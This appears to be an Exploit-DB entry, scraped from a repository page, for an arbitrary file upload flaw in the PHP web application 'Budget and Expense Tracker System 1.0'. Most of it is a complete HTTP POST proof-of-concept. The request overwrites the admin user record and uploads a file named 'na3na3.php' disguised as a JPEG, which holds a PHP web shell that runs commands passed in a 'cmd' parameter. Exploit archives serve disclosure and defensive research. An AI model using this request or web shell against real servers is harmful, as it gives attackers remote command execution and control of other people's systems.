4f2cf56b31
11 changes to exploits/shellcodes Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection OpenSIS 8.0 'modname' - Directory Traversal Patient Appointment Scheduler System 1.0 - Unauthenticated File Upload Budget and Expense Tracker System 1.0 - Arbitrary File Upload FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 - Hidden Backdoor Account (Write Access) FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 - Remote Privilege Escalation WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting Jetty 9.4.37.v20210219 - Information Disclosure Clinic Management System 1.0 - SQL injection to Remote Code Execution Online Course Registration 1.0 - Blind Boolean-Based SQL Injection (Authenticated) Windows/x64 - Reverse TCP (192.168.201.11:4444) Shellcode (330 Bytes)
52 lines
No EOL
1.8 KiB
Text
52 lines
No EOL
1.8 KiB
Text
# Exploit Title: Budget and Expense Tracker System 1.0 - Arbitrary File Upload
|
|
# Exploit Author: ()t/\/\1
|
|
# Date: 23/09/2021
|
|
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
|
|
# Tested on: Linux
|
|
# Version: 2.0
|
|
|
|
# Exploit Description:
|
|
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.
|
|
|
|
|
|
# PoC request
|
|
|
|
POST /expense_budget/classes/Users.php?f=save HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://localhost/expense_budget/admin/?page=user
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Type: multipart/form-data; boundary=---------------------------1399170066243244238234165712
|
|
Content-Length: 824
|
|
Connection: close
|
|
Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c
|
|
|
|
-----------------------------1399170066243244238234165712
|
|
Content-Disposition: form-data; name="id"
|
|
|
|
1
|
|
-----------------------------1399170066243244238234165712
|
|
Content-Disposition: form-data; name="firstname"
|
|
|
|
A
|
|
-----------------------------1399170066243244238234165712
|
|
Content-Disposition: form-data; name="lastname"
|
|
|
|
a
|
|
-----------------------------1399170066243244238234165712
|
|
Content-Disposition: form-data; name="username"
|
|
|
|
admin
|
|
-----------------------------1399170066243244238234165712
|
|
Content-Disposition: form-data; name="password"
|
|
|
|
|
|
-----------------------------1399170066243244238234165712
|
|
Content-Disposition: form-data; name="img"; filename="na3na3.php"
|
|
Content-Type: image/jpeg
|
|
|
|
<?php echo "<pre>";system($_GET['cmd']); ?>
|
|
-----------------------------1399170066243244238234165712-- |